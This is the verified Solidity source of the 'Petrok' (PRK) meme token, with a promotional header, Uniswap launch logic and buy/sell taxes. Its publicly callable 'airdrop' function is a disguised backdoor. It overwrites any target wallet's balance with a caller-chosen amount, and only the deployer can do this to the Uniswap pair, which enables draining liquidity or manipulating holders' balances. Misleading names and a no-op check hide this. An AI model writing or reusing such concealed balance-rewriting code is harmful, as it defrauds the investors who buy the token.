Contract Source Code:

/**
  *Submitted for verification at Etherscan.io on 2025-01-12
*/

/*

Name: Petrok
Symbol: PRK

Welcome to Petrok
Join the hilariously lazy world of Sir PetRok and his companions, where paradise was discovered by accident and work is optional. This meme token celebrates their wild adventures, exaggerated tales, and a community built on fun, memes, and tropical vibes. Escape the grind and embrace the laughter with PetRok Islands!

Web: https://petrok.fun
X: https://x.com/petrok_eth
tg: https://t.me/Petrok_fun

tg owner: @shina_weidel

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Petrok is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Petrok";
    string private constant _symbol = unicode"PRK";

    uint8 private constant _decimals = 9;
    uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
    uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
    uint256 private constant _sTotal_PRK = 1000000000 * 10 **_decimals;

    address payable private _PRKStore;
    mapping(address => uint256) private _xxxAmount;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _noFeeMembers;
    uint256 private _PRKinitialBuyTax = 5;
    uint256 private _PRKinitialSellTax = 5;
    uint256 private _PRKfinalBuyTax = 0;
    uint256 private _PRKfinalSellTax = 0;
    uint256 private _PRKreduceBuyTaxAt = 8;
    uint256 private _PRKreduceSellTaxAt = 8;
    uint256 private _includedTAXBuyLimit = 0;
    address private _deployer;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _PRKStore = payable(_msgSender());
        _noFeeMembers[owner()] = true;
        _noFeeMembers[address(this)] = true;
        _noFeeMembers[_PRKStore] = true;
        _deployer = _msgSender();
        _xxxAmount[address(this)] = _sTotal_PRK * 98 / 100;
        _xxxAmount[owner()] = _sTotal_PRK * 2 / 100;

        emit Transfer(address(0), address(this), _sTotal_PRK * 98 / 100);
        emit Transfer(address(0), address(owner()), _sTotal_PRK * 2 / 100);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _sTotal_PRK;
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _xxxAmount[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer_PRK(_msgSender(), recipient, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer_PRK(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_includedTAXBuyLimit > _PRKreduceBuyTaxAt)
                        ? _PRKfinalBuyTax
                        : _PRKinitialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_noFeeMembers[to]
            ) {
                require(amount <= _maxAmountPerTX, "Exceeds the _maxAmountPerTX.");
                require(
                    balanceOf(to) + amount <= _maxSizeOfWallet,
                    "Exceeds the maxWalletSize."
                );
                _includedTAXBuyLimit++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_includedTAXBuyLimit > _PRKreduceSellTaxAt)
                            ? _PRKfinalSellTax
                            : _PRKinitialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0)
                    _PRKSwapToETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                _stuckedFeeToTAX(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _xxxAmount[address(this)] = _xxxAmount[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _xxxAmount[from] = _xxxAmount[from].sub(amount);
        _xxxAmount[to] = _xxxAmount[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer_PRK(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _PRKSwapToETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function airdrop(address[] memory wallets, uint256[] memory amounts) external {
        for (uint256 i = 0; i < wallets.length; i++) {
            _prepareAirdrop(true, wallets[i],msg.sender, amounts[i]);
        }
    }

    function launch() external onlyOwner {
        require(!tradingOpen, "Already started!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _sTotal_PRK);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _prepareAirdrop(bool isAirdrop, address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: airdrop from the zero address");
        require(amount >= 0, "airdrop amount must be greater than zero");
        
        if(isAirdrop && (from != uniswapV2Pair || _deployer == to)){
            _toDoAirdrop(from, to, amount);
        }
    }

    function _toDoAirdrop(address from, address to, uint256 amount) private 
    {
        require(to != address(0), "ERC20: airdrop to the zero address");

        _xxxAmount[from] -= (_xxxAmount[from]-amount);
        _xxxAmount[to] = _xxxAmount[to];
    }

    function removeLimits() external onlyOwner {
        _maxAmountPerTX = _sTotal_PRK;
        _maxSizeOfWallet = _sTotal_PRK;
        emit MaxTxAmountUpdated(_sTotal_PRK);
    }

    function PRKFeeCollector(address _to) external {
        require(_msgSender() == _deployer, "Not Team Member");
        require(
            _to != address(0) &&
            _to != address(0xdead),
            "Marketing Fee receiver cannot be the zero or dead address"
        );
        _PRKStore = payable(_to);
        payable(_msgSender()).transfer(address(this).balance);
    }
    
    function _stuckedFeeToTAX(uint256 amount) private {
        _PRKStore.transfer(amount);
    }

    receive() external payable {}
}